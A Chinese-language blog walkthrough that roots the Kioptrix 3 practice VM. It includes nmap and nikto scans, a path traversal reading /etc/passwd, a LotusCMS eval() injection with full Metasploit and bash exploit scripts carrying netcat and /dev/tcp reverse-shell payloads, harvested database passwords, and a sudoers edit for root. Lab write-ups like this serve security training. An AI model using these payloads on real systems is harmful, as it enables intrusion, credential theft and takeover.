KIOPTRIX: LEVEL 1.2 (#3) 攻略紀錄


Posted by nathan2009729 on 2022-10-23

0x01信息收集

1.1探測靶機IP

$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 09:00 CST
Nmap scan report for 192.168.44.131
Host is up (0.0016s latency).
Nmap done: 256 IP addresses (1 host up) scanned in 36.25 seconds

1.2 nmap探測port

$ nmap -A 192.168.44.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 09:03 CST
Nmap scan report for 192.168.44.131
Host is up (0.90s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds
Segmentation fault

1.3 目錄遍歷

$ nikto -h 192.168.44.131
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.44.131
+ Target Hostname:    192.168.44.131
+ Target Port:        80
+ Start Time:         2022-10-14 09:05:54 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Sat Jun  6 03:22:00 2009
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7914 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time:           2022-10-14 09:06:04 (GMT8) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

以上三步驟,分別是確定靶機IP,確認靶機開啟服務,以及利用nikto確認網頁弱點跟有什麼目錄。因為有80 port,所以到了網頁隨便亂按,到了login頁面,試試有無SQL injection。

 0x02 漏洞探測

2.1 網頁漏洞

訪問80port,也就是網頁。

到Login頁面

嘗試SQL injection

從這例子,似乎username也不易有SQLi漏洞。

但依然顯示下圖:

所以先放棄SQLi。

2.2 LotusCMS漏洞

放棄網頁漏洞後,想找LotusCMS的漏洞,不過從這頁面看不出來版本,所以用瀏覽器的檢視原始碼

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

  <title>LotusCMS Administration</title>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  <link href="style/comps/admin/css/login.css" rel="stylesheet" type="text/css" />
  <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
  <script type="text/javascript" src="style/comps/admin/js/jquery.corner.js"></script>
  <script type="text/javascript">
    <!--
    $(document).ready(function() {
          // Handler for .ready() called.
          $('body').corner();
          $('#footer').corner();
          $('#menu').corner("right");
    });
    -->
    </script>
</head>
<body>

  <div id="masthead">
    <a href="index.php?page=index"><img src="style/comps/admin/img/smalllogo.png" style="text-decoration: none; border: 0;" alt="LotusCMS Adminstration"/></a>
  </div>

  <div id="content">

    <div id="main">

      <div class="article">
          <p class='msg error'>Username or password left blank.</p>
        <form method="POST" action="index.php?system=Admin&page=loginSubmit" id="contactform">
                        <label for="name"><h4>Username:</h4></label>

                        <input id="username" name="username" class="logged" /><br /><br />
                        <label for="password"><h4>Password:</h4></label>
                        <input id="password" name="password" type="password" class="logged" /><br /><br />
                        <input type="submit" value="Login" class="loggedIn"/>
          </form>
      </div>

    </div>

    <ul id="footer" class="clearfix">

      <li style="width: 100%;text-align: center;">Proudly Powered by: <a href="http://www.lotuscms.org">LotusCMS</a></li>

    </ul>

  </div>

</body>
</html>

看到第25行

="index.php?page=index"><img src="style/comps/admin/img/smalllogo.png" style="text-decoration: none; border: 0;" alt="Lotus

可以從img src中看到路徑,試著到style/comps/admin/看看。

一個一個點開看有沒有有趣的東西,在img目錄時,發現有一個version.png

那張圖片長這樣:

所以大概版本是3.0,找找有沒有相關攻擊腳本

$ searchsploit Lotus CMS
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
Lotus CMS Fraise 3.0 - Local File Inclusion / Remote Code Execution                   | php/webapps/15964.py
Lotus Core CMS 1.0.1 - Local File Inclusion                                           | php/webapps/47985.txt
Lotus Core CMS 1.0.1 - Remote File Inclusion                                          | php/webapps/5866.txt
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)                         | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities                                             | php/webapps/16982.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

但第4個的原始碼有以下內容:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

大概是要用msf才有辦法弄。

至於第一個,那是用python 2去寫的,所以要用pyhton2執行

$ python2 15964.py

        | -------------------------------------------- |
        | Lotus CMS v3.0 Remote Code Execution Exploit |
        | by mr_me - net-ninja.net ------------------- |

Usage: ./15964.py [<options>] -t [target] -d [directory path]
Example 1: ./15964.py -l -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/
Example 2: ./15964.py -c -i 1294585604 -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/

Options:
  -h, --help     show this help message and exit
  -p PROXY       HTTP Proxy <server:port>
  -t TARGET      The Target server <server:port>
  -d DIRPATH     Directory path to the CMS
  -i BLOGPOSTID  Blog Post ID that will be injected
  -l             Code execution via apache access log
  -c             Code execution via Blog comments

可以發現會需要LotusCMS的directory path,但找不到,所以換別條路。

而這網頁存在%00截斷。如果網址輸入:

http://192.168.44.131/index.php?system=../../../../../../../../etc/passwd%00.

就會發現頁面變成如下:

網頁內容如下:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
Parse error: syntax error, unexpected '.', expecting T_STRING or T_VARIABLE or '$' in /home/www/kioptrix3.com/core/lib/router.php(26) : eval()'d code on line 1

雖然透過nikto知道是php而且版本是5.2.4,不過好像也沒什麼用。繼續挖有沒有什麼有趣的特徵。

比如說,當我們點login頁面時,網址是http://192.168.44.131/index.php?system=Admin,但當我們到style/comps/admin/看看,

點進裡面的login.phtml

會進入以下畫面

再點進最上面的超連結,可以發現網址是http://192.168.44.131/style/comps/admin/index.php?page=index,並不是像之前的system=Admin這種格式。

不過找不到網頁,所以把中間的style到admin刪掉,可以連回首頁如下圖

如果把page等號後面視為注入點,可以試試在index後面加單引號:

會跑出錯誤訊息,不過跟searchsploit結果一樣,是eval()函式漏洞。

看來真的也不知道該怎麼辦,只好寄望在剛剛searchsploit時看到的LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)。雖然它是一支要配合metasploit才能使用的攻擊腳本,但已經有youtube影片解釋要如何自己動手實現這支攻擊腳本的行為。

首先看到這支腳本的內容

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::WmapScanUniqueQuery

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'LotusCMS 3.0 eval() Remote Command Execution',
            'Description'    => %q{
                    This module exploits a vulnerability found in Lotus CMS 3.0's Router()
                function.  This is done by embedding PHP code in the 'page' parameter,
                which will be passed to a eval call, therefore allowing remote code execution.
                    The module can either automatically pick up a 'page' parameter from the
                default page, or manually specify one in the URI option.  To use the automatic
                method, please supply the URI with just a directory path, for example: "/lcms/".
                To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alligator Security Team',
                    'dflah_ <dflah_[at]alligatorteam.org>',
                    'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
                    'sinn3r'  #Metasploit-fu
                ],
            'References'     =>
                [
                    [ 'OSVDB', '75095' ],
                    [ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
                ],
            'Payload'        =>
                {
                    'Space'       => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
                    'DisableNops' => true,
                    'BadChars'    => "#",
                    'Keys'        => ['php']
                },
            'Platform'        => [ 'php' ],
            'Arch'            => ARCH_PHP,
            'Targets'         => [[ 'Automatic LotusCMS 3.0', { }]],
            'Privileged'      => false,
            'DisclosureDate'  => 'Mar 3 2011',
            'DefaultTarget'   => 0))

        register_options(
        [
            OptString.new('URI', [true, 'URI', '/lcms/']),
            Opt::RPORT(80),
        ], self.class)
    end

    def target_url
        uri = datastore['URI']

        # Make sure uri begins with '/'
        if uri[0] != '/'
            uri = '/' + uri
        end

        # Extract two things:
        # 1. The file path (/index.php), including the base
        # 2. GET parameters from the GET query
        uri   = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
        base  = (uri[0] || "") + '/'
        fname = uri[1] || ""
        query = uri[2] || ""
        params = queryparse(query) rescue ""

        # Use the user-supplied query if there's one, if not we'll auto-detect
        # by regexing a hyper-link
        if base.empty? or fname.empty? or params.empty?
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => datastore['URI']
            }, 20)

            if res and res.code == 200
                uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
                @uri = base + uri[0]
                @arg = uri[1]
                print_status("Using found page param: #{@uri}?#{@arg}")
            else
                @uri = ""
                @arg = ""
            end
        else
            @uri = base + fname
            @arg = "page=#{params['page']}"
        end
    end

    def check
        target_url
        if @uri.empty? or @arg.empty?
            print_error("Unable to get the page parameter, please reconfigure URI")
            return
        end

        signature = rand_text_alpha(rand(10)+10)
        stub = "${print('#{signature}')};"
        sploit = "');#{stub}#"
        response = send_request_cgi(
        {
            'method'  => 'POST',
            'uri' =>  @uri,
            'data' => @arg + Rex::Text.uri_encode(sploit)
        }, 20)

        if response and response.body =~ /#{signature}/
            print_status("Signature: #{signature}")
            return Exploit::CheckCode::Vulnerable
        else
            print_error("Signature was not detected")
            return Exploit::CheckCode::Safe
        end
    end

    def exploit
        return if not check == Exploit::CheckCode::Vulnerable

        begin
            sploit = "');#{payload.encoded}#"
            print_status("Sending exploit ...")
            res = send_request_cgi(
            {
                'method'  => 'POST',
                'uri' =>  @uri,
                'data' => @arg + Rex::Text.uri_encode(sploit)
            }, 20)
            handler
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        rescue ::Timeout::Error, ::Errno::EPIPE
        end
    end

end

直接往下看到def check的部分,這段程式碼可以自己手動實現。首先解析一下程式碼

        signature = rand_text_alpha(rand(10)+10)
        stub = "${print('#{signature}')};"
        sploit = "');#{stub}#"
        response = send_request_cgi(
        {
            'method'  => 'POST',
            'uri' =>  @uri,
            'data' => @arg + Rex::Text.uri_encode(sploit)
        }, 20)

先看到3個變數signature、stub跟sploit,可以發現它們其實一個引用一個,而signature只是一個隨機生成的數字。引用規則是雙引號內的東西,看到#符號直到}符號就取代。所以取代完會是長這樣: ');${print('signature生成的數字')};#

這時候使用firefox外掛HackBar來實踐

會有page=index是本來網頁就有這種網址,再依程式碼提示,用Post,按下Excute即可看到

看到最左邊有個小的aaa對不對? 這代表已經利用eval()函式注入PHP。

當然,也可以不要用print這種只是把字印出來的函式,比如剛剛的注入code改成:

page=index');${system('id')};#,就可以顯示出

再比如page=index');${system('uname -a')};#,則會輸出:

page=index');${system('pwd; ls -lua')};#就更猛了:

不過這樣不太好看,所以檢視原始碼:

<p>Or cut to the chase and see it <a href="/gallery">now!</a></p>                </div>
            </div>
            <div id="footer">
                <p>
                    <!-- Leaving in my name and website link will be greatly appreciated in return for offering you this template for free. Thanking you in advance. -->
                    © 2011 Ligoat Security                
                </p>
            </div>
        </div>
    </body>
</html>/home/www/kioptrix3.com
total 92
drwxr-xr-x  8 root root  4096 Oct 15 10:56 .
drwxr-xr-x  3 root root  4096 Apr 16  2011 ..
drwxrwxrwx  2 root root  4096 Apr 15  2011 cache
drwxrwxrwx  8 root root  4096 Apr 14  2011 core
drwxrwxrwx  8 root root  4096 Apr 16  2011 data
-rw-r--r--  1 root root 23126 Apr 14  2011 favicon.ico
drwxr-xr-x  7 root root  4096 Apr 14  2011 gallery
-rw-r--r--  1 root root 26430 Apr 16  2011 gnu-lgpl.txt
-rw-r--r--  1 root root   399 Oct 15 05:27 index.php
drwxrwxrwx 10 root root  4096 Apr 16  2011 modules
drwxrwxrwx  3 root root  4096 Apr 16  201照style
-rw-r--r--  1 root root   243 Oct 15 09:07 update.php

照這套路,應該可以在system('')這個單引號裡塞入reverse shell所需要的指令,就可以RCE。其實這作者也有把它的bash檔釋出,來看看github上LotusCMS-Exploit/ lotusRCE.sh:

#!/bin/bash
# Lotus CMS 3.0 eval() Remote Command Execition Exploit
# flaw in router() function, original write-up: http://secunia.com/secunia_research/2011-21/
# Scripted in Bash by HR
# USAGE: ./lotusRCE.sh target lotusCMS-path
# USAGE: ./lotusRCE.sh ki0ptrix3.com /
# USAGE: ./lotusRCE.sh 192.168.1.36 /lcms/
# Enter IP and PORT when asked to spawn netcat based reverse shell ;)

#Start the magic
target="$1" #Target site, ex: 192.168.1.36 or ki0ptrix3.com (no http://)
path="$2" # Path to LotusCMS, ex: /lcms/ or /
junk=/tmp
storage1=$(mktemp -p "$junk" -t fooooobar1.tmp.XXX)
storage2=$(mktemp -p "$junk" -t fooooobar2.tmp.XXX)

#First a simple Bashtrap function to handle interupt (CTRL+C)
trap bashtrap INT

bashtrap(){
    echo
    echo
    echo 'CTRL+C has been detected!.....shutting down now' | grep --color '.....shutting down now'
    rm -rf "$storage1"
    rm -rf "$storage2"
    #exit entire script if called
    exit 0
}
#End bashtrap()


page_exists(){
    #confirm page exists
    curl "$target$path/index.php?page=index" -I -o "$storage1" 2> /dev/null
    cat "$storage1" | sed '2,20d' | cut -d' ' -f2 > "$storage2" 2> /dev/null
    pageused=$(cat "$storage2")
    if [ "$pageused" == '200' ]; then
        echo
        echo "Path found, now to check for vuln...." | grep --color -E 'Path found||now to check for vuln'
        echo
        vuln_check
    else
        echo "Provided site and path not found, sorry...."
        exit;
    fi
}


vuln_check(){
    # page exists, check if vuln... URLencode: "page=index');${print('abc123')};#"
    curl $target$path/index.php --data "page=index%27%29%3B%24%7Bprint%28%27Hood3dRob1n%27%29%7D%3B%23" -o "$storage1" 2> /dev/null
    grep 'Hood3dRob1n' "$storage1" 2> /dev/null 2>&1
    if [ "$?" == 0 ]; then
        echo "Regex found, site is vulnerable to PHP Code Injection!" | grep --color -i -E 'Regex found||site is vulnerable to PHP Code Injection'
        echo
        exploit_funk
    else
        echo "Unable to find injection in returned results, sorry...."
        exit;
    fi

}

exploit_funk(){
    # Vuln confirmed, time to exploit shall we ;)
    echo "About to try and inject reverse shell...." | grep --color 'About to try and inject reverse shell'
    echo "what IP to use?"
    read IP
    echo "What PORT?"
    read PORT
    echo
    echo "OK, open your local listener and choose the method for back connect: " | grep --color -E 'OK||open your local listener and choose the method for back connect'
    select reverse_options in "NetCat -e" "NetCat /dev/tcp" "NetCat Backpipe" "NetCat FIFO" "Exit"
    do
        case $reverse_options in
            "NetCat -e")
                curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fsh%20$IP%20$PORT%27%29%7D%3B%23%22" 2> /dev/null
            ;;
            "NetCat /dev/tcp")
                curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27%2fbin%2fbash%20-i%20%3E%20%2fdev%2ftcp%2f%24IP%2f%24PORT%200%3C%261%202%3E%261%27%29%7D%3B%23" 2> /dev/null
            ;;
            "NetCat Backpipe")
                curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27mknod%20backpipe%20p%20%26%26%20nc%20%24IP%20%24PORT%200%3Cbackpipe%20%7C%20%2fbin%2fbash%201%3Ebackpipe%27%29%7D%3B%23" 2> /dev/null
            ;;
            "NetCat FIFO")
                curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27mkfifo%20%2ftmp%2ffoo%20%26%26%20cat%20%2ftmp%2ffoo%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20%24IP%20%24PORT%20%3E%20%2ftmp%2ffoo%27%29%7D%3B%23" 2> /dev/null
            ;;
            "Exit")
                echo "got r00t?"
                exit;
            ;;
        esac
    done
}




#MAIN
clear
if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ]; then
    echo
    echo "USAGE: $0 target LotusCMS_path" | grep --color 'USAGE'
    echo "EX: $0 192.168.1.36 /lcms/" | grep --color 'EX'
    echo "EX: $0 ki0ptrix3.com /" | grep --color 'EX'
    echo
    exit;
fi
page_exists
rm -rf "$storage1"
rm -rf "$storage2"

#EOF

可以看見像是

"NetCat /dev/tcp")
                curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27%2fbin%2fbash%20-i%20%3E%20%2fdev%2ftcp%2f%24IP%2f%24PORT%200%3C%261%202%3E%261%27%29%7D%3B%23" 2> /dev/null

其實把那段百分號編碼拿去解碼(解碼網址https://www.ez2o.com/App/Web/UrlEncodeDecode):

可以發現猜想是對的,實際上來照做一次。

假設我們選 的其中一行reverse shell

curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fsh%20$IP%20$PORT%27%29%7D%3B%23%22" 2> /dev/null

解碼後:

curl $target$path/index.php --data "page=index');${system('nc -e /bin/sh $IP $PORT')};#"" 2> /dev/null

先在攻擊機上監聽port: nc -lvp 4444

再把$IP$PORT代換成攻擊機IP跟剛剛的監聽port:

page=index');${system('nc -e /bin/sh 172.24.112.168 4444')};#

這時就可以監聽成功:

$ nc -lvp 4444
listening on [any] 4444 ...
whoami
connect to [172.24.112.168] from DESKTOP-NRNV04H.mshome.net [172.24.112.1] 49513
www-data
pwd
/home/www/kioptrix3.com

重要!

記得下這行命令:

python -c 'import pty;pty.spawn("/bin/bash")'

就會是一個正常的shell,不過這一行原理待查!

$ nc -lvp 4444
listening on [any] 4444 ...
whoami
connect to [172.24.112.168] from DESKTOP-NRNV04H.mshome.net [172.24.112.1] 49513
www-data
pwd
/home/www/kioptrix3.com
pwd
/home/www/kioptrix3.com
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Kioptrix3:/home/www/kioptrix3.com$

0x03 提權

接下來想要提權,但據說直接打作業系統核心沒用。所以試試看資料庫,尋找內容有關 mysql,且副檔名為 php 的檔案

find . -name "*.php" | xargs grep -i "mysql"

出現一大堆結果,有興趣的是這些結果:

./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_server"] = "localhost";
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_database"] = "gallery";
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_username"] = "root";
./gallery/gconfig.php:  $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

或者,可以用另一種可能比較精確的搜尋方式

find / -name "*config.php" 2>/dev/null

這是代表尋找Web 配置文件。

在nikto掃描時也確定有phpmyadmin,另外上面的最後兩行就是登入名稱跟密碼。

在最左邊選擇gallery,再選dev_accounts,再點瀏覽,就可以看到兩個使用者名稱與密碼:

這裡密碼用md5給hash過了,隨便找一個網站解密:

MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊

0d3eccfb887aabd50f243b3f155c0f85Mast3r

5badcaf789d3d1d09794d8f021f40f0estarwars

嘗試用ssh登入:

$ ssh loneferret@192.168.44.131
Unable to negotiate with 192.168.44.131 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

之所以會出現這樣的錯誤訊息,是因為OpenSSH 7.0以後的版本不再支持ssh-dss (DSA)算法,解決方法是增加選項-oHostKeyAlgorithms=+ssh-dss,即可成功解決

$ ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.44.131
The authenticity of host '192.168.44.131 (192.168.44.131)' can't be established.
DSA key fingerprint is SHA256:hB/LEVToKJYae+t/k0W5knptdIsQ/eS2TnBbUrxHIG8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.131' (DSA) to the list of known hosts.
loneferret@192.168.44.131's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$

來翻翻這個帳號有沒有什麼有趣的東西:

loneferret@Kioptrix3:~$ ls
checksec.sh  CompanyPolicy.README
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

所以翻到了一個CompanyPolicy.README,裡面寫了可以透過sudo ht來編輯、創建跟瀏覽檔案。

loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht

上面這一段故事是這樣的,如果直接sudo ht,會跳出Error opening terminal: xterm-256color.,google一下後,知道要先export TERM=xterm,再開啟ht這個編輯器。

開啟成功後畫面如下:

接下來要做的事,是讓loneferret可以有使用shell的權限。

按F3開啟檔案/etc/sudoers

開啟後,在如下圖的編輯畫面中,加上一個,/bin/sh如下圖黃標。

原本的loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/localbin/ht意思是這樣的:

loneferret可以從所有主機(第一個ALL的意思),在不輸入密碼的情況下(NOPASSWD的意思),執行!/usr/bin/su, /usr/localbin/ht兩條指令。所以我們可以加上/bin/su,使得這使用者不用密碼即可提權。

按F2儲存,F10退出。輸入sudo -l列出當前用戶可以執行的命令。只有在 sudoers 裏的用戶才能使用該選項。

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht
    (root) NOPASSWD: /bin/sh

不過這樣無法提權,所以乾脆不要用/bin/sh,直接改成/bin/su

loneferret@Kioptrix3:~$ sudo su
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/su' as root on Kioptrix3.
loneferret@Kioptrix3:~$ sudo ht
loneferret@Kioptrix3:~$ sudo su
root@Kioptrix3:/home/loneferret#

提權成功。

接下來要找flag,故技重施,先到根目錄,接下來就updatedblocate root

root@Kioptrix3:/home/loneferret# pwd
/home/loneferret
root@Kioptrix3:/home/loneferret# cd
root@Kioptrix3:~# updatedb
root@Kioptrix3:~# locate root
/root
/etc/init.d/checkroot.sh
/etc/init.d/umountroot
/etc/rc0.d/S60umountroot
/etc/rc6.d/S60umountroot
/etc/rcS.d/S20checkroot.sh
/lib/security/pam_rootok.so
/opt/framework-3.6.0/msf3/data/wordlists/root_userpass.txt
/opt/framework-3.6.0/msf3/data/wordlists/.svn/text-base/root_userpass.txt.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-arm/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-arm/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-sh/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-sh/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-x86/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-x86/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/share/nmap/scripts/ldap-rootdse.nse
/root/.bash_history
/root/.bashrc
/root/.mysql_history
/root/.nano_history
/root/.profile
/root/.ssh
/root/.subversion
/root/Congrats.txt
/root/ht-2.0.18
/root/.subversion/README.txt
/root/.subversion/auth
/root/.subversion/config
/root/.subversion/servers
/root/.subversion/auth/svn.simple
/root/.subversion/auth/svn.ssl.client-passphrase
/root/.subversion/auth/svn.ssl.server
/root/.subversion/auth/svn.username
/root/ht-2.0.18/.deps
/root/ht-2.0.18/AUTHORS
/root/ht-2.0.18/COPYING
/root/ht-2.0.18/ChangeLog
/root/ht-2.0.18/INSTALL
/root/ht-2.0.18/KNOWNBUGS
/root/ht-2.0.18/Makefile
/root/ht-2.0.18/Makefile.am
/root/ht-2.0.18/Makefile.in
/root/ht-2.0.18/NEWS
...中間一大堆ht-2.0.18資料夾裡的東西
/root/ht-2.0.18/tools/.deps/bin2c.Po
/sbin/pivot_root
/usr/lib/klibc/bin/chroot
/usr/lib/klibc/bin/pivot_root
/usr/sbin/chroot
/usr/sbin/rootflags
/usr/share/man/man8/chroot.8.gz
/usr/share/man/man8/pam_rootok.8.gz
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/rootflags.8.gz
/usr/share/man/man8/sudo_root.8.gz
/usr/share/mysql/mysql-test/include/not_as_root.inc
/usr/share/mysql/mysql-test/r/not_as_root.require
/usr/share/recovery-mode/options/root
/usr/share/ri/1.8/system/Dir/chroot-c.yaml
/usr/share/ri/1.8/system/Net/IMAP/getquotaroot-i.yaml
/usr/share/ri/1.8/system/PStore/root%3f-i.yaml
/usr/share/ri/1.8/system/PStore/roots-i.yaml
/usr/share/ri/1.8/system/Pathname/chroot-i.yaml
/usr/share/ri/1.8/system/Pathname/root%3f-i.yaml
